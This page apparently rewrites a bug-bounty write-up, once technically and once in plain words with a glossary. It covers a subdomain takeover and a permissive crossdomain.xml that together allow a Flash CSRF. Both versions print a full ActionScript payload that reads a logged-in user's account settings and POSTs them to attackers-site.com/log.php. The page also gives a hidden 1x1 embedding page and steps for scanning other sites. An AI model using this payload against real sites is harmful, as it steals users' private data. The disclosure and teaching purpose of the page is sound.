Bypassing Crossdomain Policy and Hit Hundreds of Top Alexa Sites
A dangling subdomain pointed at a cloud provider and could be claimed by anyone, and the parent site's crossdomain policy trusted that subdomain. The author hosted a Flash file there that read a logged-in user's account settings from the main site and sent them to an attacker server.
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This is a write-up of a bug found on a HackerOne bug bounty program, which the author refers to as [redacted.com] to keep the program private. The core of the issue is a chain: a subdomain takeover on a host under a wildcard domain, combined with a permissive crossdomain.xml policy on the main program, which together allowed a Flash-based CSRF that reads a logged-in user's account data and sends it to an attacker-controlled server. The author later found that many other sites on the Alexa top list also allowed the taken-over domain in their crossdomain.xml files.
The ActionScript payload requests the account settings URL of the main program. Flash can read cross-origin responses only when the target site's crossdomain.xml authorises the origin making the request, so the whole attack depends on that policy file.
Setup
The tools and preconditions that appear in the report are:
- A wildcard domain entry,
*.trusted.com, noticed during reconnaissance. - Sublister to enumerate subdomains of
*.trusted.com. - A Flash compiler invoked as
/opt/flex/bin/mxmlc. - An attacker-controlled host,
attackers-site.com, with alog.phpscript. - An AWS account used to host the proof-of-concept files.
- A list of the top 1000 Alexa sites downloaded locally, plus a file
cross.listused in a shell loop.
Finding it
During reconnaissance, one wildcard domain line stood out:
*.trusted.com

The author then ran Sublister against *.trusted.com to list its subdomains.

One subdomain found was x.media.trusted.com. According to the author, this site pointed to a Fastly instance, and the Fastly instance pointed to a CloudFront instance. The author says he knows this because he has "Jedi Powers" and trusts in the force, so the report gives no technical detail of how the chain was confirmed.

He tried to claim the domain from CloudFront, and this succeeded. That gave him a subdomain takeover on x.media.trusted.com.

The taken-over "trusted" site had no bug bounty program of its own, so the takeover was used as a stepping stone: the main program [redacted.com] allowed this domain in its crossdomain.xml file, which made a CSRF against the main program possible.
Exploitation
Step 1: Write the ActionScript payload
The author created an ActionScript file that acts as a CSRF: it reads the logged-in user's data from the target and posts it to the attacker's server.
// ak1t4-poc.as
package {import flash.display.Sprite;import flash.events.*;import flash.net.URLRequestMethod;import flash.net.URLRequest;import flash.net.URLLoader;public class ak1t4-poc extends Sprite {public function ak1t4-poc() {// Target URL from where the data is to be retrievedvar readFrom:String = “https://[redacted-com]/account/v3/settings";var readRequest:URLRequest = new URLRequest(readFrom);var getLoader:URLLoader = new URLLoader();getLoader.addEventListener(Event.COMPLETE, eventHandler);try {getLoader.load(readRequest);} catch (error:Error) {trace(“Error loading URL: “ + error);}}private function eventHandler(event:Event):void {// URL to which retrieved data is to be sentvar sendTo:String = “https://attackers-site.com/log.php"var sendRequest:URLRequest = new URLRequest(sendTo);sendRequest.method = URLRequestMethod.POST;var body:String = escape(event.target.data);sendRequest.data = body;var sendLoader:URLLoader = new URLLoader();try {sendLoader.load(sendRequest);} catch (error:Error) {trace(“Error loading URL: “ + error);}}}}
The important parts: readFrom is the account settings URL on the target, loaded with a URLLoader. When the load completes, the eventHandler takes the response body, escapes it, and sends it as a POST body to sendTo, which is log.php on the attacker's server.
Step 2: Compile the SWF
/opt/flex/bin/mxmlc /Users/Desktop/ak1t4/ak1t4-poc.as — output exploit.swf
This compiles the ActionScript into exploit.swf.
Step 3: Embed the SWF in HTML
// exp.html
<html><object type=”application/x-shockwave-flash” data=”exploit.swf” width=”1" height="1"><param name=”movie” value=”exploit.swf" /></object></html>
This is a one-by-one-pixel Flash object that loads the compiled SWF.
Step 4: Host the exploit on the taken-over subdomain
The exploit was uploaded to the subdomain takeover at https://x.media.trusted.com/exp.html. The main program's crossdomain.xml allowed this domain, which the author says made the CSRF possible.

Step 5: Test the CSRF

The author lists three things visible in the test:
- The CSRF file, named
xoxo.htmlin the screenshot, opened by the victim. - The embedded
evil.swffile, which makes the request to the logged-in victim's data URL, with the/profile/endpoint response as200 OK. - A POST request to
log.phponattackers-site.com/log.php, which creates astealdata.txtfile with all the retrieved data.
At this point the author reports a successful CSRF Flash attack, with the user's data recorded on his server.

Root cause
The chain relies on two mistakes. First, x.media.trusted.com pointed to a Fastly instance that pointed to a CloudFront instance, and the author was able to claim the domain from CloudFront, giving him control of content served from that hostname. Second, the main program's crossdomain.xml allowed the taken-over domain, so Flash content served from that host was authorised to read responses from the target. The report does not show the crossdomain.xml file itself, so the exact syntax of the allow entry is not given.
Impact
In the author's test, the logged-in victim's data was read by the SWF and posted to the attacker's server, where it was written to stealdata.txt. The author notes that affected domains need to hold something worth stealing, such as user account data or sensitive information.
He then extended the check beyond the original program: he downloaded the top 1000 Alexa sites and scraped them to see which domains allow *.trusted.com in their crossdomain.xml.
skynet-localhost:crossdoamin ak1t4_hax0r$ while read -r line;do cat $line | fgrep trusted.domain;done < cross.list | wc -l
105

The result was 105 domains, which the author describes as affected by his CSRF exploit, while noting that scraping the Alexa top 10,000 might find more. The report does not list the domains or show the matching crossdomain.xml entries.

Fix
The author reports a partial fix from the x.media.trusted.com domain. The report does not describe what the fix changed.
Variants to test
- Enumerate wildcard domains during reconnaissance and run a subdomain lister such as Sublister against them. A positive result is a subdomain that points to a third-party service that can be claimed, as with the Fastly-to-CloudFront chain here.
- For any taken-over or attacker-controlled host, check whether target sites list it, or a wildcard covering it, in their
crossdomain.xml. A positive result is an allow entry that authorises the host you control. - Repeat the Alexa scraping approach against a larger list, for example the top 10,000, looking for
crossdomain.xmlfiles that allow a domain you can take over. A positive result is a count of domains whose policy files match. - Where a Flash-based CSRF is possible, test whether the target endpoint returns the logged-in user's data with a
200 OKwhen requested from the authorised origin, as the/profile/response did here.
Aftermath
The author reports receiving a bounty from the HackerOne program for the CSRF report and proof of concept. He also reports that his AWS account was suspended after a complaint, apparently from the owners of the trusted domain, about the files hosted there for the proof of concept.


What happened, in plain words
A security researcher was looking for bugs on a bug bounty program (a site that pays people to find security problems). He found a chain of two mistakes that, together, let him read a logged-in user's private account data and send it to his own server. The first mistake was a subdomain that pointed at a cloud service, which he was able to claim and put his own files there. The second mistake was that the main site's crossdomain.xml file (a small permission file that tells Adobe Flash which other sites may read its responses) listed that subdomain's parent domain as trusted. Because of that, a small Flash program he hosted on the claimed subdomain was authorised to read the main site's account settings page as the logged-in user, and then post the data to his server. He then checked the top 1000 Alexa sites and found 105 of them also trusted that domain in their crossdomain.xml files. He reported the issue, got a bounty, and later had his AWS account suspended after a complaint about the proof-of-concept files.
Doing the reconnaissance
The author starts by saying he found this on a HackerOne bug bounty program, which he calls [redacted.com] to keep it private. He then describes his reconnaissance: the information-gathering phase before attacking anything, like casing a building before trying the doors.

One line in his notes caught his eye:
*.trusted.com
This is a wildcard domain entry. A wildcard like *.trusted.com means "any subdomain of trusted.com": a.trusted.com, b.trusted.com, and so on. Seeing a wildcard tells a researcher that there may be many subdomains, and each one is a possible weak point.
He then ran Sublister, a tool that tries a long list of common subdomain names against a domain and reports which ones exist. Think of it as trying every flat number in a building to see which letterboxes are real.

The image shows the subdomains Sublister found. The author notes he can reveal the subdomain because it is not patched yet (not fixed).
One result was x.media.trusted.com. According to the author, this site pointed to a Fastly instance, and the Fastly instance pointed to a CloudFront instance. Fastly and CloudFront are content delivery networks (CDNs): services that host and serve files for other sites from many locations around the world. The author jokes that he knows this because he has "Jedi Powers" and trusts in the force, so the report gives no technical detail of how he confirmed the chain.

He then tried to claim the domain from CloudFront, and it worked. This is a subdomain takeover: a subdomain points at a third-party service, and the author was able to claim the name on that service and serve his own content from the subdomain. It is like finding a mailbox with the owner's name on it but no lock, and putting your own mail inside.

The image shows the proof-of-concept links for the takeover. The taken-over "trusted" site had no bug bounty program of its own, so the takeover was a stepping stone. The main program [redacted.com] allowed this domain in its crossdomain.xml file, which made a CSRF against the main program possible.
CSRF stands for Cross-Site Request Forgery: tricking a logged-in user's browser into sending a request to a site they are logged into, without their knowledge. Normally a site can tell requests apart by a cookie (a small piece of data the browser stores and sends back automatically), but a CSRF attack abuses the fact that the browser sends the cookie automatically. Here the twist is that Flash is used to not just send a request but also read the response.
Creating the CSRF Flash request
The author's plan: a Flash file that acts as a CSRF and makes a request to steal the logged-in user's data on [redacted.com]. Flash is a browser plugin (now discontinued) that could run small programs called SWF files. Its security model allowed a SWF to read responses from another site only if that site's crossdomain.xml file explicitly allowed the SWF's origin.
First, he wrote an ActionScript file (ActionScript is the programming language for Flash):
// ak1t4-poc.as
package {import flash.display.Sprite;import flash.events.*;import flash.net.URLRequestMethod;import flash.net.URLRequest;import flash.net.URLLoader;public class ak1t4-poc extends Sprite {public function ak1t4-poc() {// Target URL from where the data is to be retrievedvar readFrom:String = “https://[redacted-com]/account/v3/settings";var readRequest:URLRequest = new URLRequest(readFrom);var getLoader:URLLoader = new URLLoader();getLoader.addEventListener(Event.COMPLETE, eventHandler);try {getLoader.load(readRequest);} catch (error:Error) {trace(“Error loading URL: “ + error);}}private function eventHandler(event:Event):void {// URL to which retrieved data is to be sentvar sendTo:String = “https://attackers-site.com/log.php"var sendRequest:URLRequest = new URLRequest(sendTo);sendRequest.method = URLRequestMethod.POST;var body:String = escape(event.target.data);sendRequest.data = body;var sendLoader:URLLoader = new URLLoader();try {sendLoader.load(sendRequest);} catch (error:Error) {trace(“Error loading URL: “ + error);}}}}
Line by line, in plain words:
package { ... }groups the code into a package, like a folder for classes.- The
importlines bring in Flash's built-in tools:Sprite(a basic display object),flash.events.*(event handling),URLRequestMethod(GET or POST),URLRequest(a request to a URL), andURLLoader(something that performs the request). public class ak1t4-poc extends Spritedefines the program's main class, named after the author.public function ak1t4-poc()is the constructor: the code that runs when the SWF starts.var readFrom:String = "https://[redacted-com]/account/v3/settings"stores the target URL: the account settings page of the main program, which returns the logged-in user's data.var readRequest:URLRequest = new URLRequest(readFrom)creates a request object for that URL.var getLoader:URLLoader = new URLLoader()creates a loader that will perform the request.getLoader.addEventListener(Event.COMPLETE, eventHandler)says: when the load finishes, call the functioneventHandler.try { getLoader.load(readRequest); } catch (error:Error) { trace(...) }actually sends the request; if something goes wrong, it prints an error message withtrace.private function eventHandler(event:Event):voidis the function that runs when the response arrives.var sendTo:String = "https://attackers-site.com/log.php"is the attacker's server address, where the stolen data will be sent.var sendRequest:URLRequest = new URLRequest(sendTo)creates a request to that address.sendRequest.method = URLRequestMethod.POSTmakes it a POST request (a request that carries data in its body, like a form submission).var body:String = escape(event.target.data)takes the response data (the victim's account settings) and escapes it so it can be sent safely as text.sendRequest.data = bodyputs that data into the request body.var sendLoader:URLLoader = new URLLoader()creates a second loader for the outgoing request.try { sendLoader.load(sendRequest); } catch (error:Error) { trace(...) }sends the data to the attacker's server, printing an error if it fails.
In short: read the victim's settings, then post them to the attacker.
Compiling the SWF
/opt/flex/bin/mxmlc /Users/Desktop/ak1t4/ak1t4-poc.as — output exploit.swf
This runs the Flash compiler mxmlc (part of the Flex SDK) on the ActionScript file and produces exploit.swf, the file a browser can run. Think of it as turning a recipe (the .as file) into a cake (the .swf file) that the browser can eat.
Embedding the SWF in HTML
// exp.html
<html><object type=”application/x-shockwave-flash” data=”exploit.swf” width=”1" height="1"><param name=”movie” value=”exploit.swf" /></object></html>
This is a tiny HTML page with a Flash object one pixel by one pixel, so it is invisible on the page. The <object> tag tells the browser to load exploit.swf; the <param name="movie" ...> is another way of specifying the same file for older browsers. The small size means the victim sees nothing unusual.
Hosting the exploit on the taken-over subdomain
The exploit was uploaded to the subdomain takeover at https://x.media.trusted.com/exp.html. The main program's crossdomain.xml allowed this domain, which the author says made the CSRF possible. This is the key: the SWF's origin is x.media.trusted.com, and the target's permission file says that origin (or its parent domain) is allowed.

Testing the CSRF

The author lists three things visible in the test:
- The CSRF file, named
xoxo.htmlin the screenshot, opened by the victim. - The embedded
evil.swffile, which makes the request to the logged-in victim's data URL, with the/profile/endpoint response as200 OK(HTTP status 200 means success). - A POST request to
log.phponattackers-site.com/log.php, which creates astealdata.txtfile with all the retrieved data.
At this point the author reports a successful CSRF Flash attack, with the user's data recorded on his server.

Root cause
The chain relies on two mistakes. First, x.media.trusted.com pointed to a Fastly instance that pointed to a CloudFront instance, and the author was able to claim the domain from CloudFront, giving him control of content served from that hostname. Second, the main program's crossdomain.xml allowed the taken-over domain, so Flash content served from that host was authorised to read responses from the target. The report does not show the crossdomain.xml file itself, so the exact syntax of the allow entry is not given.
Impact
In the author's test, the logged-in victim's data was read by the SWF and posted to the attacker's server, where it was written to stealdata.txt. The author notes that affected domains need to hold something worth stealing, such as user account data or sensitive information.
He then extended the check beyond the original program: he downloaded the top 1000 Alexa sites and scraped them to see which domains allow *.trusted.com in their crossdomain.xml.
skynet-localhost:crossdoamin ak1t4_hax0r$ while read -r line;do cat $line | fgrep trusted.domain;done < cross.list | wc -l
105

Line by line: while read -r line; do ... done < cross.list loops over each line of the file cross.list (presumably a list of downloaded crossdomain.xml files). cat $line prints the file named on that line. fgrep trusted.domain searches for the literal text trusted.domain. wc -l counts the matching lines. The result was 105, which the author describes as domains affected by his CSRF exploit, while noting that scraping the Alexa top 10,000 might find more. The report does not list the domains or show the matching crossdomain.xml entries.

Fix
The author reports a partial fix from the x.media.trusted.com domain. The report does not describe what the fix changed.
Variants to test
- Enumerate wildcard domains during reconnaissance and run a subdomain lister such as Sublister against them. A positive result is a subdomain that points to a third-party service that can be claimed, as with the Fastly-to-CloudFront chain here.
- For any taken-over or attacker-controlled host, check whether target sites list it, or a wildcard covering it, in their
crossdomain.xml. A positive result is an allow entry that authorises the host you control. - Repeat the Alexa scraping approach against a larger list, for example the top 10,000, looking for
crossdomain.xmlfiles that allow a domain you can take over. A positive result is a count of domains whose policy files match. - Where a Flash-based CSRF is possible, test whether the target endpoint returns the logged-in user's data with a
200 OKwhen requested from the authorised origin, as the/profile/response did here.
Aftermath
The author reports receiving a bounty from the HackerOne program for the CSRF report and proof of concept. He also reports that his AWS account was suspended after a complaint, apparently from the owners of the trusted domain, about the files hosted there for the proof of concept.


Glossary
- Bug bounty program: a scheme where organisations pay researchers for reporting security bugs.
- Reconnaissance: the information-gathering phase before an attack.
- Wildcard domain: a DNS entry like
*.example.comthat covers every subdomain. - Subdomain: a name under a main domain, such as
x.media.trusted.comundertrusted.com. - Sublister: a tool that guesses subdomain names to find which exist.
- Fastly / CloudFront: content delivery networks (CDNs) that host and serve files for other sites.
- Subdomain takeover: claiming a subdomain that points at a third-party service, so you control its content.
- CSRF (Cross-Site Request Forgery): tricking a logged-in user's browser into sending requests to a site they are logged into.
- Cookie: a small piece of data a browser stores for a site and sends back automatically.
- Flash / SWF / ActionScript: a browser plugin, its program file format, and its programming language.
crossdomain.xml: a permission file that tells Flash which other origins may read a site's responses.- Origin: the combination of scheme, host and port that identifies where content came from.
URLLoader/URLRequest: Flash classes for making HTTP requests.- POST: an HTTP method that sends data in the request body.
- HTTP 200 OK: the status code meaning a request succeeded.
- Alexa top sites: a ranking of popular websites.
- Scraping: automatically downloading and parsing web content.
- AWS: Amazon Web Services, a cloud hosting provider.
- Bounty: the payment a program gives for a valid report.